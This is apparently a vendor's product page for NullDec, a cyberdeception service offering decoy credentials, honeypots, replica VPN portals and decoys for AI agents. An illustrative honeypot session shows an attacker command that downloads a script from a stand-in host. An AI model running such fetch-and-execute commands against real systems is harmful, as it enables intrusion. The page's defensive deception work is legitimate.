01
Stolen credentials
With a valid password, access looks legitimate.
Entra ID accounts, AWS keys and secrets nobody uses. A sign-in with them is an intruder, even though the credential works.
Identity and cloud →Preemptive cyberdeception for businesses: traps only an intruder touches, even with valid credentials. They fire before the attacker reaches anything real and tell you who it is and what they did.
In action
An intruder logs in with valid credentials. This is what NullDec sees, from the first trap to containment.
01 · Use cases
The most common attacks against a business, and the decoy that gives each one away.
01
With a valid password, access looks legitimate.
Entra ID accounts, AWS keys and secrets nobody uses. A sign-in with them is an intruder, even though the credential works.
Identity and cloud →02
Before encrypting, attackers explore your network.
Decoy services, shares and machines that fire on the first connection attempt, before they get to encrypt.
Internal network →03
An exposed VPN or Citrix is the most sought-after way in.
Replicas of your own products, with vulnerabilities that answer back. You see which exploit they try and what they take.
Attack surfaces →04
A token left in a repository opens your cloud and your pipeline.
Kubeconfig, internal packages and credentials delivered on every GitHub Actions run. If someone uses them, you know from where.
Code and CI/CD →05
What leaves your network doesn't warn you when someone opens it.
Decoy documents, mailboxes and links that give away whoever opens them, inside or outside.
Documents →06
Whoever fools your agent inherits its access.
Decoy configurations, tools and documents that tell your agent out of place from an intruder using AI.
AI agents →02 · How it works
A decoy looks valuable, but no employee or process needs it. So when someone touches it, you start from a fact, not a suspicion.
03 · Decoy catalog
More than thirty decoy types, from a document to an identity. Each one catches a different moment of an attack, and the console tells you where to plant it so it looks real.
Free
A document taken out of your network, a compromised mailbox or an internal page someone reads for no reason.
Where it lives: you generate it in the console and place it yourself. Nothing to install.
Where to plant it, per the console
Payroll-2026.docx in the HR folderfinance@ that looks abandonedWhen it fires · illustrative example
Payroll-2026.docx · opened203.0.113.42 · Microsoft Word · 23:14
Free Pro
A forgotten kubeconfig, an internal package someone installs by mistake or a compromised CI runner.
Where it lives: you place the kubeconfig and the npm package yourself. In GitHub Actions, NullDec delivers decoy credentials on every run, with no stored secrets.
Where to plant it, per the console
infra/ folderWhen it fires · illustrative example
kubeconfig · GET /api/v1/secrets203.0.113.42 · kubectl · 03:02
Pro
Keys and secrets that look like production, and resources anyone enumerating your account will find.
Two ways to deploy it
Where to plant it, per the console
terraform.tfvars.bak in an infrastructure repositoryWhen it fires · illustrative example
aws-keys · sts:GetCallerIdentity203.0.113.42 · aws-cli · 14:37
Enterprise
Decoy users and applications inside your directory. A sign-in with them is already an attack.
Where it lives: inside your tenant, with one-click admin consent. The Active Directory account is created by the NullDec Agent.
Where to plant it, per the console
When it fires · illustrative example
svc-backup · sign-in203.0.113.42 · Entra ID · 02:51
Pro
Services that look like real servers. Nobody legitimate connects to them: any attempt is lateral movement, and you see which credential they tried.
Where it lives: on our infrastructure or on your own node inside your network, so whoever is already inside finds them.
Where to plant it, per the console
.rdp file in the IT shared folder.envWhen it fires · illustrative example
rdp · user admin-backup203.0.113.42 · 3 attempts · 04:10
Enterprise
SSH, Telnet and HTTP that answer with AI like a real system. The attacker keeps working, and you see every command, what they look for and what tools they bring.
Where it lives: on our infrastructure, nothing to install. Nothing the attacker types is actually executed.
Where to plant it, per the console
When they get in · illustrative example
$ id uid=1001(svc-backup) gid=1001(svc-backup) $ ls /srv/backups db-2026-09.sql.gz vpn.conf $ wget http://203.0.113.42/x.sh
Every session is recorded, replayed command by command in the console and arrives with a summary of what they were after.
Pro Enterprise
MCP configurations, tool schemas and RAG documents that no legitimate workflow uses.
Where it lives: in your agents' configuration and knowledge base. How it tells your agent from an intruder →
Where to plant it, per the console
When it fires · illustrative example
erp-finance · tool invoked203.0.113.42 · MCP client · 11:05
All are deployed from the console and can be chained into a campaign. Compare plans →
04 · Attack surfaces Enterprise
A complete replica of a real product, such as your VPN, your GitLab or your vCenter, under a hostname in your domain. Many show a known vulnerability so the attacker believes they've found a gap.
Remote access · SSL-VPN
Username
j.moreno
Password
••••••••••
Sign in
Firmware 7.2.4 · © Corporate Network Access
VPN users · 214 active
| User | Group | Last access |
|---|---|---|
| a.garcia | Finance | today 08:41 |
| svc-backup | Systems | today 03:00 |
| j.moreno | Management | yesterday 19:12 |
| erp-vendor | External | 3 days ago |
Configuration backups
backup-vpn-2026-09.conf [aws] aws_access_key_id = AKIA•••••••••••• aws_secret_access_key = •••••••••••••••• [ldap] bind_dn = cn=svc-vpn,ou=services
These credentials are decoys: they fire somewhere else when used.
Illustrative example · what your team sees
The same company, the same people and the same files on the attacker's first probe and on the tenth.
SQL injection, path traversal or a webshell get believable responses. Nothing they send is executed.
It holds credentials for your other decoys: what the attacker takes fires later somewhere else.
50 products in 10 families
05 · Deception campaigns Enterprise
A campaign chains catalog decoys and surfaces: each one holds the clue to the next. Instead of isolated alerts, you get the attacker's full path, with timings.
Illustrative example · what a campaign tells you
.env, which names a bucket..env said.Pace of an automated tool01
From your cloud, your identity and your surfaces, and it explains why it picks each decoy.
02
You review it node by node on a canvas. Nothing is created without your approval, and the approval is logged.
03
If a credential rotates and a bait stops leading anywhere, it moves it. If the attacker advances, it plants the next one in their path.
06 · Preemptive deception
NullDec doesn't wait for them to get in: it looks at what you expose, learns from what happens to organisations like yours and places decoys where the attacker is going to look.
01 Enterprise
It finds what your domains show the internet, from public sources only, and proposes a twin surface that watches it while you fix it.
02 Pro
If an attacker touches organisations with your technology or in your sector and not you yet, you know first. Without naming anyone.
03 Enterprise
Within the limits you approve, NullDec plants the next bait in the attacker's path and retires the ones that expire.
A decoy has no legitimate use. That's why there's no threshold to tune: its activation is a fact, not a probability.
07 · Decoys for AI agents
Your agents read documents, configurations and tools, and act on what they read. Whoever fools them inherits their access. NullDec plants decoys right there.
{
"mcpServers": {
"github": { "command": "github-mcp" },
"erp-finance": {
"url": "https://mcp.example.com/erp",
"headers": { "Authorization": "Bearer ••••" }
}
}
}
No legitimate workflow uses erp-finance. If an agent invokes it, that's a fact, not an anomaly to interpret.
1An agent uses the decoy: the MCP configuration, a RAG document or a fake tool.
Does it come from the network you declared for your agents?
Yes
Possible prompt injection: check what it was asked and what it read before.
No
You get the fingerprint of the MCP client that invoked it: its name and version.
That address is set by the network, not by the caller: it's data, not a guess.
08 · Intelligence and response
The same IP on the same decoy within 24 hours is a single episode: the first alert goes out immediately and the rest arrives grouped.
Every signal with its MITRE ATT&CK technique and tactic, telling what was observed apart from what was inferred.
From 0 to 100, with a breakdown of where every point comes from.
If the same fingerprint hits several clients, it gets grouped. Only attacker data is cross-referenced, never yours.
What happened and what to do, on every alert. Optional and labeled as AI.
An API with its own key from which your SIEM collects the signals, and your intelligence in STIX 2.1, by export or over TAXII 2.1.
Enterprise
A rule, or the campaign itself depending on how far the attacker gets, decides what to do: isolate the device in Defender, CrowdStrike, SentinelOne or Sophos, end their sessions in Entra ID or Okta, revoke the decoy credential, block the IP in Cloudflare or notify your SOAR.
threat.score:>80 AND source.is_tor:trueLast 24 h · 1 match · would have isolated 1 device and ended 2 sessions from 203.0.113.42
09 · Plans
Free for your own decoys. Pro adds collective intelligence. Enterprise adds Surfaces, Campaigns and integration with your SOC.
Open sign-up
No card required · when it ends, pick a plan or go back to Free
We'll propose custom plans within 24-48h
Free never expires. The Pro trial lasts 30 days and needs no card.
MSPs and MSSPs
With Enterprise you see them all in a single view, deploy with guided packages, and each client's data stays isolated.
10 · Frequently asked questions
Your EDR and SIEM look for what seems odd among millions of legitimate events. A decoy has no legitimate use, so its alert is a fact. NullDec doesn't replace them: it feeds them high-confidence signals.
A few, and well known: internet scanners, email link scanners and the cloud's own activity. NullDec separates them from the attack.
It can, because it's designed to be found. It holds no real data and nothing it receives is executed. Register it as a decoy in your asset inventory and any external finding on it will be identified as such.
By default, none: we only receive the interaction with the decoy, and it's hosted in the EU. Integrations are optional, with minimal permissions you can withdraw. We never share your data with other clients.
To answer the attacker in high-interaction honeypots and, if you switch it on, to summarize each alert. Every generated text is labeled as AI.
The console checks the detection chain end to end and shows you how effective each decoy is. If one can no longer alert, you know before you need it.
Scope, duration and success criteria agreed before we start. At the end we review the real signal and coverage together.
Create a free account and deploy your first decoy in minutes.